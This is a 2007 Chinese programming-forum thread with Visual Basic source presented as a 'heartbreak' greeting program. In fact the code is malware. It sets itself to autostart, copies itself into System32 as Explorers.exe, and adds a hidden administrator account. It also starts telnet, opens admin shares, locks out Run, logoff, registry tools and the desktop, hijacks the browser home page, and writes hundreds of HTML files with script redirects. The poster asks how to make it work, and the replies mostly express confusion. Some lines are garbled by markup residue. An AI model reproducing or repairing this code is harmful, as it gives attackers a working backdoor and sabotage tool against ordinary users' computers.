注册 登录
编程论坛 新人交流区

失恋程序代码分析

VB9527 发布于 2007-11-09 19:29, 909 次点击

Option Explicit
Private Sub Form_Load()
On Error Resume Next
If App.PrevInstance Then
End
End If
MsgBox "朋友在网上失恋的痛苦中诞生这套程序,也许只有它能表达我对他现在心情理解。。。。。" & vbCrLf & vbCrLf & "想和我成为朋友的就加我QQ:545704252!", vbApplicationModal, "真爱无错V1.0"
Dim Mypath
Mypath = App.Path & "\" & App.EXEName & ".exe"
Dim Writereg
Dim Wsh_shell
Set Wsh_shell = New IWshShell_Class
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemm", Mypath, "REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemmm", "500)this.width=500" align=absMiddle border=0>http://hsz.oor.cn"REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags", "302", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type", "0", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path", "C:\")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "500)this.width=500" align=absMiddle border=0>http://hsz.oor.cn")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "BLOG地址:http://hi.baidu.com/hydown")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "04", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer \NoDesktop", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("", "01", "REG_DWORD")
Dim fso
Dim dir1
Set fso = CreateObject("scripting.filesystemobject")
Set dir1 = fso.GetSpecialFolder(0)
FileCopy Mypath, dir1 & "\System32\Explorers.exe"
Shell "cmd.exe /c " & dir1 & "\System32\Explorers.exe", vbHide
Shell "cmd.exe /c net user lilong /add&net localgroup administrators lilong /add", vbHide
Shell "cmd.exe /c & net start telnet", vbHide
Shell "cmd.exe /c & net share admin$", vbHide
On Error Resume Next
Dim nowtime
Dim i
nowtime = Date
If nowtime <> "2008-10-1" Then
For i = 1 To 999
Open "d:\《真爱无错》" & "第" & i & "集" & ".htm" For Append As #1
Print #1, "<script language=’javascript’>alert(’众人皆醒我独醉,心有灵犀最珍贵,邂逅真爱不后悔,今生只为你相随。有空和我聊聊吧,!’)</script>"
Print #1, "<script language=’javascript’>window.location=’500)this.width=500" align=absMiddle border=0>http://hsz.oor.cn/’</script>"
Close #1
Next
End If
End Sub


请问一下这是用VB编的吗?我用上去怎么是错的?该怎么用????

16 回复
#2
望雨声2007-11-09 20:03
没注释,这不是一个好的程序员应有的习惯
#3
tml3272007-11-09 20:18

哈哈!测试一下!

#4
逆流的鱼2007-11-09 20:38
看不懂
#5
〃秋风〃2007-11-09 21:01
?
#6
jicaifeng2007-11-09 21:11
路过
#7
wangqilin2007-11-09 21:17
  往后别忘了注释
#8
作弊2007-11-09 21:21
改错

[此贴子已经被作者于2007-11-9 21:23:07编辑过]


#9
zhaoshijun2007-11-09 23:08

看不懂啊

#10
zhxi552007-11-10 02:10
    我想有没注释是一样的
#11
wydlh2007-11-12 22:41
路过!
#12
woshiming662007-11-13 09:18
这是什么语言?
#13
zzg05922007-11-13 10:04
???
#14
zzg05922007-11-13 10:04
用什么写的

#15
cl39225022007-11-13 10:56
有错误啊 ?
#16
xjimm2007-11-13 11:24

没注释,自己都看不懂

#17
bayforever2007-11-13 11:30
。。。。。。。。。。。。我要发贴
1